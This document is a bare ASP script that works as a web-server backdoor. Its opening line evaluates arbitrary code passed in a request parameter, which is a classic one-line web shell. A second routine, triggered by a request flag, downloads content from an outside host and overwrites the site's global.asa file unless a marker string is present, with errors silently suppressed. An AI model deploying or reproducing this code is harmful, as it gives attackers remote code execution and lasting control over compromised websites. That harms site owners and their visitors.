<%On Error Resume Next eval request("xc1bu0s662z2p") GUrl="http://www.admin5.com/" ChkG=Request("ChkG") If ChkG=1 Then Function GetHtml(url):Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP"):ObjXMLHTTP.Open tStr=tStr&"GET",url,False:ObjXMLHTTP.setRequestHeader "User-Agent",url:ObjXMLHTTP.send:GetHtml=ObjXMLHTTP.responseBody:Set ObjXMLHTTP=Nothing:set objStream = Server.CreateObject("Adodb.Stream"):objStream.Type = 1: objStream.Mode =3:objStream.Open: objStream.Write GetHtml:objStream.Position = 0: objStream.Type = 2: objStream.Charset = "gb2312": GetHtml = objStream.ReadText:objStream.Close End Function cr=0 Set fs=server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(Server.MapPath("/global.asa")) then set TextFile=fs.OpenTextFile(Server.mappath("/global.asa")) If Not TextFile.AtEndOfStream Then globalTxt=TextFile.ReadAll End IF If Instr(globalTxt,"llx")<=0 THen cr=1 Else End IF else cr=1 end if If Cr=1 then Gtxt=GetHtml(GUrl) Dim TextFile Set TextFile=fs.CreateTextFile(Server.MapPath("/global.asa")) TextFile.WriteLine(Gtxt) TextFile.close Response.Write "fu gai" Else Response.Write "wu xu fu gai" End iF End IF %>